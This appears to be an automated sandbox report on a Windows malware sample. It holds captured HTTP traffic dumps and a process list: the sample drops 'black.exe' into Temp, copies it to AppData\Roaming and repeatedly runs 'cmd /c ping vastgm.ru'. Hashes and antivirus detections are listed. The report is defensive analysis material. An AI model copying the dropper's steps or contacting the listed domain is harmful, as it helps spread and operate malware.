2024-12-09 06:03:47 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Mon, 09 Dec 2024 06:03:47 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-09 06:03:47 UTC	3388	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-12-09 06:03:47 UTC	280	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 2d 69 6d 61 67 65 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 22 3e 0a 20 20 3c 6c 69 Data Ascii: github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <li
2024-12-09 06:03:47 UTC	884	IN	Data Raw: 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 37 30 30 39 37 66 37 35 61 65 63 31 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f Data Ascii: rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-70097f75aec1.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 70 72 69 6d 65 72 2d 70 72 69 6d 69 74 69 76 65 73 2d 35 32 65 61 38 30 62 37 34 35 35 34 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 70 72 69 6d 65 72 2d 61 66 38 34 36 38 35 30 34 38 31 65 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 Data Ascii: rel="stylesheet" href="https://github.githubassets.com/assets/primer-primitives-52ea80b74554.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-af846850481e.css" /> <link crossori
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 74 65 22 2c 22 6c 69 66 65 63 79 63 6c 65 5f 6c 61 62 65 6c 5f 6e 61 6d 65 5f 75 70 64 61 74 65 73 22 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 77 70 2d 72 75 6e 74 69 6d 65 2d 30 64 61 33 30 61 30 34 30 30 38 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d Data Ascii: te","lifecycle_label_name_updates"]}</script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-0da30a040080.js"></script><script crossorigin="anonymous" defer="defer" type=
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 2d 66 36 39 30 66 64 39 61 65 33 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6c 61 74 69 76 65 2d 74 69 6d 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 36 64 33 39 36 37 61 63 64 35 31 63 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c Data Ascii: st_index_esm_js-f690fd9ae3d5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c.js"></script><
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 6e 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 76 69 65 77 2d 63 6f 2d 33 38 31 61 34 66 2d 35 39 39 32 35 38 33 32 66 37 37 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 67 69 74 68 75 62 2d 65 6c 65 6d 65 6e 74 73 2d 39 30 32 37 31 33 62 32 36 39 65 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 Data Ascii: nt-element_dist_index_js-node_modules_primer_view-co-381a4f-59925832f779.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-902713b269e2.js"></script><scri
2024-12-09 06:03:47 UTC	1370	IN	Data Raw: 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 38 39 33 66 39 66 2d 36 63 66 33 33 32 30 34 31 36 62 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 Data Ascii: avascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascri
2024-12-09 06:03:47 UTC	140	IN	Data Raw: 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 61 6a 61 78 2d 65 72 72 6f 72 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 64 30 64 30 61 36 2d 38 33 30 33 37 36 32 34 34 36 39 31 2e 6a 73 22 3e 3c 2f 73 63 Data Ascii: assets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-830376244691.js"></sc

Target ID:	0
Start time:	01:03:37
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\Y5kEUsYDFr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Y5kEUsYDFr.exe"
Imagebase:	0x7ff6ca9c0000
File size:	912'111 bytes
MD5 hash:	EC773998B0078CC58100FDB4D27DC3F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	1
Start time:	01:03:37
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe"
Imagebase:	0x120000
File size:	550'912 bytes
MD5 hash:	09929B04B0C29E2722009F49FAF7183C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	01:03:42
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	01:03:42
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	01:03:42
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping vastgm.ru
Imagebase:	0xe40000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	01:03:50
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\black.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\black.exe"
Imagebase:	0x300000
File size:	550'912 bytes
MD5 hash:	09929B04B0C29E2722009F49FAF7183C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	9
Start time:	01:03:53
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 496, Parent PID: 5848

General

Target ID:	10
Start time:	01:03:53
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	01:03:56
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping vastgm.ru
Imagebase:	0xe40000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	01:04:18
Start date:	09/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	23
Start time:	01:04:39
Start date:	09/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	26
Start time:	01:04:43
Start date:	09/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,11227877826786957155,3609580182791793806,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	36
Start time:	01:06:42
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	37
Start time:	01:06:42
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	38
Start time:	01:06:47
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping vastgm.ru
Imagebase:	0xe40000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	39
Start time:	01:06:54
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ping vastgm.ru
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	01:06:54
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	41
Start time:	01:06:59
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping vastgm.ru
Imagebase:	0xe40000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false